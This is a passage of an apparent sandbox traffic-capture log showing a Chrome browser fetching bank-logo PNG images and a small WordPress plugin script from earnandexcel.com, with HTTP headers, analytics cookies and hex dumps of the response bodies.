{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GwCDjT0y66kzPGDlbULD3zHHAii2XbMjaGlHS%2FNVXsRveQ9cxX9tJVi1HRhMOw%2FsiL2ZHwr22bXmuv7ymLq%2F7fcGjUtGXzkIPORgu5%2FxLkkSu7Sk6QWYZ4hI09OXyqSPM38%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:47 UTC	428	IN	Data Raw: 31 63 35 0d 0a 28 28 29 3d 3e 7b 69 66 28 21 77 69 6e 64 6f 77 2e 54 68 72 69 76 65 47 6c 6f 62 61 6c 7c 7c 21 77 69 6e 64 6f 77 2e 54 68 72 69 76 65 47 6c 6f 62 61 6c 2e 24 6a 29 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 2e 24 3b 77 69 6e 64 6f 77 2e 54 68 72 69 76 65 47 6c 6f 62 61 6c 3d 7b 24 6a 3a 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 28 29 7d 2c 61 26 26 28 77 69 6e 64 6f 77 2e 24 3d 61 29 7d 76 61 72 20 6f 3b 28 6f 3d 54 68 72 69 76 65 47 6c 6f 62 61 6c 2e 24 6a 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 7b 61 63 74 69 6f 6e 3a 54 56 45 5f 55 6c 74 5f 44 61 74 61 2e 63 6f 6e 76 65 72 73 69 6f 6e 5f 65 76 65 6e 74 73 5f 61 63 74 69 6f 6e 2c 70 6f 73 74 5f 69 64 3a 54 56 45 5f 55 6c 74 5f 44 61 74 61 2e 70 6f 73 74 5f 69 64 Data Ascii: 1c5(()=>{if(!window.ThriveGlobal\|\|!window.ThriveGlobal.$j){var a=window.$;window.ThriveGlobal={$j:jQuery.noConflict()},a&&(window.$=a)}var o;(o=ThriveGlobal.$j)((function(){var a={action:TVE_Ult_Data.conversion_events_action,post_id:TVE_Ult_Data.post_id
2024-04-11 21:26:47 UTC	32	IN	Data Raw: 6c 2c 74 79 70 65 3a 22 70 6f 73 74 22 2c 64 61 74 61 3a 61 7d 29 7d 29 29 7d 29 28 29 3b 0d 0a Data Ascii: l,type:"post",data:a})}))})();
2024-04-11 21:26:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.17	49881	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:47 UTC	1111	OUT	GET /wp-content/uploads/RBC-Royal-Bank.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:48 UTC	911	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:48 GMT Content-Type: image/png Content-Length: 8831 Connection: close CF-Ray: 872e0e96ef9778d6-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330f-227f" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:55 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YjFkRi2%2FjcervbxTpxqYZrK%2FzvnJ%2Bos6IpbhWDlNVjNL8o1Egr34EBof98QoLkUT9z2%2BYAFnVU41Kp35E23NbCxLoadCpG9cqt%2B9SrYmnJxbgW%2B0L%2BeIAjY7YQLPrv8ouPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 38 08 06 00 00 00 ab 1d f7 73 00 00 22 46 49 44 41 54 78 da ec 9b 65 a8 55 4f 17 c6 8f 81 8a dd dd dd dd dd dd dd 85 a8 d8 dd dd 81 8d d8 8a d8 82 18 18 28 62 07 d8 dd dd 89 dd b1 5e 7e 0b 16 0c fb dc 7b f1 e5 af 97 fb 61 0f 0c e7 9c bb 67 cf 9e d9 f3 3c 6b 3d 6b cd dc 80 84 51 be 7c f9 22 6e f9 f1 e3 87 e7 7b f0 df 42 2b bf 7f ff 96 cf 9f 3f 5b 9b 3f 2e df be 7d 93 f7 ef df 0b c5 3e e9 c3 2a 7d 5a 3b ef 18 9e 3c 79 22 5f bf 7e 0d 71 5e d6 ce 3b bf 5f bf 7e 89 15 be 33 6e b7 fc fc f9 33 68 be df bf 7f b7 f1 05 b5 e3 7e eb 8b f6 76 8d 71 d9 7d 76 fd c3 87 0f b4 b1 fb c2 ac 7e f9 3b 25 20 14 67 11 58 14 aa 03 16 ef c2 d2 2e 2c c2 b0 88 f4 c1 22 d3 de ed 9f fa a7 c0 a7 d2 57 88 20 a4 ff 90 Data Ascii: PNGIHDR8s"FIDATxeUO(b^~{ag<k=kQ\|"n{B+?[?.}>*}Z;<y"_~q^;_~3n3h~vq}v~;% gX.,"W
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: d3 0a 15 2a 60 95 d1 e5 a6 a3 01 4e 98 35 5b b6 6c 90 00 02 d0 4f 50 5e 9d df ae 45 86 08 00 8d e7 50 21 c0 d3 a7 4f 83 d2 8e 04 b9 68 ed 2c 59 b2 60 8d 35 9e b9 75 eb 96 50 8c 50 80 b7 62 c5 8a cc 1f 32 41 2c cb 72 71 dd fa c4 b2 23 bb 20 0b ef 06 70 07 65 a9 90 94 8c 07 4f d1 a6 4d 1b 79 f5 ea 95 1f e4 46 a0 12 f0 06 98 58 72 5c 3a 00 c4 62 ed da b5 4b ee dc b9 43 10 88 46 25 d0 d4 85 ac 56 ad 1a 01 22 e4 20 08 04 04 ea be 5b b6 6c 49 f0 a8 2e 7f c3 86 0d 72 ed da 35 da 22 87 00 15 04 c0 62 fe 55 02 00 58 e4 0b cf 49 9b 36 2d 55 3d 93 9b b1 7a fe fc b9 05 b9 78 22 bc 90 82 b7 77 ef de 4a 58 d7 13 02 f6 3a 75 ea e0 01 79 07 90 de b5 fc 96 ce 44 c3 2b b8 63 c6 8c c9 fb e1 7e b2 51 5c b2 2c 0f ef 84 b9 e3 49 20 83 9f e5 89 60 25 e0 4d d3 41 00 82 59 c0 4a Data Ascii: *`N5[lOP^EP!Oh,Y`5uPPb2A,rq# peOMyFXr\:bKCF%V" [lI.r5"bUXI6-U=zx"wJX:uyD+c~Q\,I `%MAYJ
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 93 89 b4 22 a7 33 b1 dc 17 2e 5c e0 60 19 1b 62 80 11 3d ae ed ce 9c 39 43 5b 3e 09 b6 21 1a 3b b4 ba 59 35 6d da 34 bc 05 a4 01 a8 7f 44 00 03 12 64 c4 62 13 08 e3 01 00 ad 7b f6 9e 00 d5 0e f1 91 99 c1 23 20 f9 5c f9 63 3b be 64 8f 08 6e 91 6b c4 42 04 b6 f4 e7 16 32 5e 78 2e fa 03 e0 c8 26 c0 4c b5 e3 e1 bc 57 bc 40 94 28 51 78 77 a4 60 31 2a 8c 25 a8 3f db a9 c6 6b 22 41 5d 69 66 ff 2f e0 97 7f 14 04 db 62 60 d5 59 24 16 8c 18 80 45 40 f6 d8 01 32 ac 34 00 c5 e2 d1 76 cb 96 2d 00 9b e3 10 e4 d5 91 2e ec 23 e0 2d ec 98 30 44 40 82 70 2f 96 1d 60 03 54 d2 a1 64 5a d0 c8 58 52 9e 03 d0 b4 cf 4c ff 6b ef ee 71 a4 4a 96 30 0c b7 83 c1 3a 66 69 08 83 bd 60 22 6c 84 0b c2 c1 41 42 f8 b0 19 b6 70 af 1e a4 57 0a 85 aa ab ab 87 a2 e7 8c a6 52 2a f5 4f 9d 3a 27 Data Ascii: "3.\`b=9C[>!;Y5m4Ddb{# \c;dnkB2^x.&LW@(Qxw`1%?k"A]if/b`Y$E@24v-.#-0D@p/`TdZXRLkqJ0:fi`"lABpWRO:'
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: c0 9b 37 6f cc 8f b8 cb a2 1e 8f 49 31 a6 42 ec c0 7c 7a bb 94 e5 e4 31 90 05 e3 21 eb 5e 95 f6 f7 53 b5 e8 1e fd 02 b2 2a 8d 65 14 25 5f 64 09 df bd 7b 57 82 21 d9 5c c5 00 e4 fa 29 2f e1 52 4e d7 e0 ee 10 1b 4a 5b 0f 40 8b 74 c4 c2 17 8f a0 23 32 1f 16 c6 3a 31 41 b0 2b 2e b0 78 64 92 78 02 8b 4a 78 be 94 a8 17 04 63 d9 0c 48 5a 92 47 60 24 16 e3 50 a6 73 ca a9 5f ae b7 10 b7 b3 35 33 68 ec b4 b5 8d 86 9d e0 70 b8 8c cb 03 06 40 1e 92 07 68 a6 d8 4c e6 6e 96 58 ec 40 da f5 64 94 97 ab cd 38 60 1b cc 3e d5 ee a9 d0 ff 6c b6 ef f5 eb d7 40 58 96 10 00 2b a5 39 25 b7 df 37 00 81 ac c5 20 d4 87 b2 e3 e8 6e 4c d9 a0 34 43 40 93 18 48 8b 56 50 1b 65 a2 c4 ee a5 1e 9f b5 32 24 06 21 86 b0 d2 29 1b 84 1a 79 86 dc bf 5a 20 99 24 0b 64 8a ee 3e 7f fe ec b3 e8 16 Data Ascii: 7oI1B\|z1!^S*e%_d{W!\)/RNJ[@t#2:1A+.xdxJxcHZG`$Ps_53hp@hLnX@d8`>l@X+9%7 nL4C@HVPe2$!)yZ $d>
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: b5 c0 73 31 05 aa df 9d 0a a1 5f 5e b2 42 d3 f2 9b 40 35 fd 14 1f b2 89 53 04 86 a1 45 4a a2 2f fa ec 45 1e 16 5d 64 51 ac 5a 53 0c 65 db e8 43 7d 23 60 e3 a4 30 52 b7 e4 67 62 42 f8 e9 0d d0 3c f2 92 1c d0 c4 3d fa eb 7f 00 07 df 86 fe c6 a4 af e4 e0 3d b2 b7 82 6e f2 ae 61 00 62 07 5c bf cd 3b 21 b2 2a 60 f7 a4 60 8c cf 38 36 65 13 a7 d1 01 f2 03 80 c6 c4 c3 f3 80 8c 02 10 e8 33 2a aa a2 20 44 76 0d a3 f3 1e d9 d2 19 67 35 31 7a 32 90 9d 23 63 c8 2e a1 d1 71 92 3e 57 13 03 f0 4e e4 6d 1e 9b bf 3c 0b 03 30 07 9e 61 23 53 55 bb 2b 2b 76 91 07 60 45 05 c3 ea 81 3a cd 81 62 33 08 46 e2 77 c1 a7 7a 7f 28 c9 e2 f2 1e a1 a7 eb 58 b4 05 33 9d a7 28 36 9b 74 54 7a ff 23 10 03 b4 a6 f0 68 03 e8 54 08 82 84 f0 04 1f b5 a9 51 28 b4 cb b3 79 19 c1 37 44 33 b1 d1 13 Data Ascii: s1_^B@5SEJ/E]dQZSeC}#`0RgbB<==nab\;!``86e3 Dvg51z2#c.q>WNm<0a#SU++v`E:b3Fwz(X3(6tTz#hTQ(y7D3
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 07 06 40 40 d4 90 22 38 94 b7 96 fc fa 6e 30 b2 d1 e7 94 a5 be 4b 2f 7a 8f b2 89 07 c6 09 d6 e6 46 f0 dc 61 c3 d0 75 57 c2 ee 55 52 b1 10 e3 d4 37 de 80 dc f6 a2 51 06 9f 47 64 7c 68 70 19 14 46 0d 08 81 0a 39 32 e2 b9 30 28 c3 d5 01 64 e4 24 96 f2 7e 5f a8 62 5e c9 d9 7b 18 86 cf b4 d8 15 cd 69 0d 4a 3f 79 d1 e6 9b 31 98 bf 3c 88 1d 85 b2 87 40 82 6e 95 46 ad 3f e7 57 89 a3 40 73 51 09 bf 37 b1 3a 69 00 dc b2 ff b3 54 ee 19 af 66 0c 84 06 81 20 20 21 11 a6 01 e4 a6 20 a1 a8 1c 2a 50 08 5e 85 d0 d4 fe 68 dc a2 49 a3 6c 3c 45 93 08 0d 29 62 01 b6 67 35 21 3b 1b b1 57 4c a1 6c df 49 b6 0d 00 15 62 dc e5 b6 29 15 54 43 7d 52 2a b4 89 e1 ba 07 24 f6 9e 31 d5 e2 b1 52 79 fa cd 93 50 06 8a 3c 11 06 45 ec 4b 41 42 76 8a 0c 39 3d 27 03 46 87 18 6b 69 49 0a bc 37 Data Ascii: @@"8n0K/zFauWUR7QGd\|hpF920(d$~_b^{iJ?y1<@nF?W@sQ7:iTf ! P^hIl<E)bg5!;WLlIb)TC}R$1RyP<EKABv9='FkiI7
2024-04-11 21:26:48 UTC	617	IN	Data Raw: aa 4a 71 a2 6f 28 18 9a ef 1a 90 a8 4a 0a d2 ff f7 b2 f9 b9 63 53 3c ab ed 84 05 b6 3d 33 c0 30 86 f2 fe db 60 bb 7f 93 1b 87 de fd 47 a5 f6 67 37 92 a5 18 27 8f 36 d9 9e 29 4f 38 4f b5 f3 73 8f 71 c7 2b f1 f8 4d 99 6b c9 a2 b9 d9 32 af e6 a8 be 37 b6 79 fd a6 27 7b 07 e0 7d 6d 66 05 f7 3a 88 f7 f6 d8 ba 26 0f 50 27 12 24 e4 82 fe dc bf cc 4d 87 c4 16 bc 50 e4 4e 89 e0 7a a1 7d 9b 66 70 78 ca 0e bd 19 11 f7 e8 da be 14 83 4b e2 3e dd 9f fb 14 dc e1 fe de e7 d2 78 19 ef e1 f3 f8 29 21 11 22 43 81 78 50 e6 10 a7 24 ef 74 a3 7e 26 58 5c 3c fe cc 80 a7 82 dc da b1 da dd e6 d2 1a b4 e5 36 b8 0f 95 9a 94 16 67 8b d7 51 6c ca 8f f3 51 6a 2f 9c 0c 67 f7 e2 11 fa 2e b0 0c a6 03 75 db 43 dc 37 b0 74 9a 73 f5 e9 82 3f ee 4f 05 e6 3e 19 80 fb 44 2d 8e d0 36 52 d6 50 Data Ascii: Jqo(JcS<=30`Gg7'6)O8Osq+Mk27y'{}mf:&P'$MPNz}fpxK>x)!"CxP$t~&X\<6gQlQj/g.uC7ts?O>D-6RP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.17	49882	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1110	OUT	GET /wp-content/uploads/Deutsche-Bank.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:48 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:48 GMT Content-Type: image/png Content-Length: 6410 Connection: close CF-Ray: 872e0e971e64726f-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-190a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L6mEDRItqS92UpLZQKdCX3m27DlDZXv4aIW2UpQggclaNwl0DWm2mn7rtmoFf2qb4UMjHvxng6aJg%2FgWUJkeV0bpObOHRhA5VoUo3HgCiyYhq%2FcX851Wii%2BH2Qv7dgMwXdk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:48 UTC	466	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 50 08 06 00 00 00 b9 f3 ff dc 00 00 18 d1 49 44 41 54 78 da ec 9c 47 8b 15 5d 10 86 fd 0d ae c4 8c 39 3b e6 9c 73 ce 09 41 11 41 50 d1 85 20 ba 10 04 03 a2 82 59 74 21 e6 2c 46 10 c4 95 11 74 27 ba 30 e7 c9 33 4c ce a9 3e 9e c2 82 b6 fb 72 3f 61 bc 77 46 a6 0a 0e dd b7 f3 e2 e9 ba ef 79 eb 9c 6e 26 1e ff 54 d4 d4 d4 68 ab ab ab 93 da da 5a 5d 6f ca d1 4c 3c 2c 14 0a 5b 56 56 56 4a 75 75 b5 34 86 28 2b 2b 93 f2 f2 72 05 d6 c3 01 8e 44 41 41 81 94 96 96 2a 20 41 98 1b 6b f0 6c 55 55 55 e2 e1 00 13 64 da 70 c6 0b ef 6f d0 c6 8b 95 9d 9d ad 2f d9 af 20 23 3b c4 0e b0 86 ca 05 e2 fd fb f7 b2 77 ef 5e 59 b1 62 85 ac 5b b7 4e 36 6f de 2c 6b d7 ae 95 4d 9b 36 35 68 5b bf 7e bd 6c dc b8 51 ae 5e Data Ascii: PNGIHDRPIDATxG]9;sAAP Yt!,Ft'03L>r?awFyn&ThZ]oL<,[VVVJuu4(++rDAA* AklUUUdpo/ #;w^Yb[N6o,kM65h[~lQ^
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 0d 1b 06 4c 80 07 50 34 85 6e e0 c0 81 c0 a4 fb c7 8e 1d 0b c4 6c 03 c0 b8 6d d4 a8 51 32 62 c4 08 ce 53 20 07 0f 1e cc 92 df 6c e7 da dc 8f 97 86 eb 03 2e d7 e7 be 2c 69 9a c5 2f 5c b8 10 76 4b 1a 8d 53 12 2b 1c e0 24 05 7f c3 c0 90 91 91 21 8b 16 2d 02 30 03 14 b8 90 0c 6c 43 4e e8 df 79 ff fe fd 01 57 81 eb d5 ab 97 f4 eb d7 2f 6e e3 5c c0 a4 71 1e 8d 75 6b 5c 8f e3 b8 f6 80 01 03 64 ca 94 29 6c e7 19 c8 dc 3c 87 ca 8b 8b 17 2f da f3 3a c0 0e 70 d4 9a 4a 4f 4f 47 42 00 0f 59 93 a6 f0 6d d9 b2 45 6e de bc 29 b7 6e dd 92 1b 37 6e c8 9d 3b 77 74 79 ef de 3d b6 b3 1e b7 5d be 7c 59 ae 5c b9 42 27 8c c6 ba c2 78 ee dc 39 39 73 e6 8c dc bf 7f 5f 6e df be 2d d7 af 5f 97 bb 77 ef ca b5 6b d7 64 f6 ec d9 bf 65 e8 8e 1d 3b 72 2c 8f 8a fb e0 1a d8 01 8e ad 81 97 Data Ascii: LP4nlmQ2bS l.,i/\vKS+$!-0lCNyW/n\quk\d)l</:pJOOGBYmEn)n7n;wty=]\|Y\B'x99s_n-_wkde;r,
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: be ae 55 db d8 e7 9d 38 07 d8 a2 61 01 3e 7f fe 3c 90 86 47 a4 c5 f2 72 6d dd 8e f7 0c ec 00 27 2f f8 b6 03 16 18 d0 32 10 c7 be 16 c9 17 71 de be 7d ab fb bf 7c f9 c2 6c 0a 3a 73 ba fc f0 e1 03 cb 7a 35 ae f5 f1 e3 47 0a 23 0c b7 e4 5b 69 cc 64 66 4e 1c ae 06 e3 2a 78 26 3e b0 62 b0 fb a7 a5 1c e0 68 00 10 00 db c7 46 00 98 69 40 29 ff b1 77 2f 2b 52 24 51 18 80 67 e7 42 c4 1b 2a 82 1b df 40 5f c5 a5 a8 88 20 88 88 a0 22 82 e0 c2 8d 3b 1f 40 c5 b5 1b d1 85 e2 c6 56 10 c4 86 be 37 34 fd 10 0d 0d fd 06 39 7c c1 fc 90 64 d6 14 cd d4 18 4d d9 71 20 c8 ac ac cc 88 c8 13 7f 9c b8 64 9c 3f 2e 5d 32 4d 66 6d af 75 be ae 85 7a d5 7d 3e 64 cc 14 b2 7e c2 0a 36 ec 98 8e 80 eb a3 88 ff 4c d3 59 6b 81 1b 6d 20 8d 9d b2 6b 92 26 1f 87 03 7e 60 60 d1 6c 73 01 62 89 43 Data Ascii: U8a><Grm'/2q}\|l:sz5G#[idfNx&>bhFi@)w/+R$QgB@_ ";@V749\|dMq d?.]2Mfmuz}>d~6LYkm k&~``lsbC
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 25 de 21 a0 12 07 c2 11 ef ed d9 89 9e 12 0f 1e 3c d0 85 50 81 0a 68 52 21 d7 d7 d7 bb d5 d5 d5 e4 35 6c ed 49 d3 b1 80 3b bb d4 6f 6c 6c e0 a7 08 60 02 f4 a9 1f 22 18 14 de cb 00 7a e3 c6 0d 0c 43 a3 41 9c 4a 15 5a 00 e5 a4 a5 4a da 91 e4 59 f7 4b 48 0b 36 48 6f d8 fd 88 be dc 6f 3f 10 c7 a1 7e b8 45 49 1f 65 00 df be 11 45 17 09 71 0c 1d ff af 16 98 c2 51 2e 69 02 58 57 f4 a1 01 55 6a 0f 30 f0 e8 4d 73 85 ad 31 0a 0c 08 0d 74 9e 3c 79 82 b8 83 d7 2d 4a fe c2 f2 f8 eb d7 af 80 27 1f 04 ec 35 ec 3e d6 42 a7 3f 96 90 72 fc 67 ff 09 a0 01 44 20 13 af 1a ce c3 57 dc bc 8a 3d 1b 96 74 f7 94 82 7e fa f4 a9 3d 2d 10 87 14 af e2 fb f7 ef 77 3f 7e fc e8 62 49 32 18 4c 01 6d 6e 6e da a8 85 67 30 0e 07 2d 11 a6 9e 0c d4 52 00 ba 4e fa bf e2 2d 4d f4 d7 af 5f 11 60 Data Ascii: %!<PhR!5lI;oll`"zCAJZJYKH6Hoo?~EIeEqQ.iXWUj0Ms1t<y-J'5>B?rgD W=t~=-w?~bI2Lmnng0-RN-M_`
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 29 73 0a e7 1d f3 63 a9 8b e3 60 85 ec 01 98 43 d2 0f 19 1c 23 2a a8 97 38 07 2c 8c eb 89 85 11 09 db ac 26 85 c0 a2 e8 9f 82 78 e0 dc 21 50 9c b8 11 48 85 0c c1 80 ca 15 ba 6e 56 47 f8 f2 3b 6c 28 64 61 5e 40 c4 44 c0 12 88 30 a2 f0 c2 c3 03 44 d5 ae d0 cd c3 29 16 4b c4 e8 42 2f c6 22 27 70 36 ca b7 b4 92 e4 a3 5e 1c 46 de 65 7f e9 0a 06 34 4a 1f ba e3 8e 47 c8 c6 ca ad 39 10 f7 bd 87 d2 1a f9 1d 23 09 d1 f6 57 4c 55 a8 59 1b 87 10 92 eb 48 28 38 ad c1 cb 5c 72 f8 ea 83 2e 16 d1 81 cf 85 f4 b9 95 d8 30 1f dd d6 85 00 22 23 79 8b 4e d2 08 76 b1 76 5d 89 b1 a0 94 72 f9 bc 5c 76 7f 7f bf b6 9c f9 b1 a9 62 d3 31 c0 8f 81 c9 2c 45 a1 db e4 e2 ec cd 23 e2 7a c0 79 3a 85 03 d8 a0 07 ff 7b 39 b7 e8 d5 7a c6 f6 de ea 2e 64 50 44 39 a9 10 64 92 3a 02 a3 07 cb 7f Data Ascii: )sc`C#*8,&x!PHnVG;l(da^@D0D)KB/"'p6^Fe4JG9#WLUYH(8\r.0"#yNvv]r\vb1,E#zy:{9z.dPD9d:
2024-04-11 21:26:48 UTC	468	IN	Data Raw: 50 e9 85 cb 9c 42 50 c5 60 c3 ad 4d 01 a3 bb 94 93 01 a3 9a 8b 2c 58 42 6e 47 09 2d 16 8b 03 38 c5 ca 51 c7 90 88 41 84 52 f9 bc f3 01 13 66 d4 c7 1c 19 2d b9 63 28 32 62 09 ed 39 4c 8b 4d 5a 6b 85 90 42 cb ba c8 eb 4a 18 99 62 19 8e a1 28 53 34 62 57 e9 80 b0 9e 91 b0 94 b6 9f e3 b1 b4 b9 e8 d4 dc e5 f1 64 62 87 79 f8 4c 7f 16 ab 9a db 4b a4 f0 9e ac 48 83 73 da a6 28 54 10 37 c8 91 43 f8 ee 88 88 06 e0 f4 e7 3d 5b 48 09 e8 5a 6e 2d 5f ae ab 42 3e e0 16 41 30 30 00 e7 90 9c db 5a 44 5d ce 4b 07 a2 92 d4 12 6e 9c db b6 6c ce a6 8e 51 f7 d0 0f d2 21 57 0e fb d7 00 8e 15 7b fe d9 7c 6b d1 8c 3f 6e 47 ff 09 18 b8 fa 8c e2 18 59 ae 36 8f f1 5c cd a5 85 24 a7 ee 7d 23 c6 cc 90 0d 0a 05 30 c7 e4 4c f3 71 14 6b 1f e7 ec 73 ac d8 08 2c 19 86 52 b1 89 75 cd 6b 9d Data Ascii: PBP`M,XBnG-8QARf-c(2b9LMZkBJb(S4bWdbyLKHs(T7C=[HZn-_B>A00ZD]KnlQ!W{\|k?nGY6\$}#0Lqks,Ruk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.17	49883	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1100	OUT	GET /wp-content/uploads/RBS.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:48 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:48 GMT Content-Type: image/png Content-Length: 8173 Connection: close CF-Ray: 872e0e972c734344-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3301-1fed" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:41 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B4ya3tSq3odRe44MtrSyA9ZEQmFPXGWrgBBS0hBR00LShF7Yx%2BNDEwWEusYULFs0TsF0Z2jzZ2D26ZZZvWp2ibW%2BgaB%2BMB0YYzf2E33iQojRQVkLAljM8Jvh06Jr1WEG4Z0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare 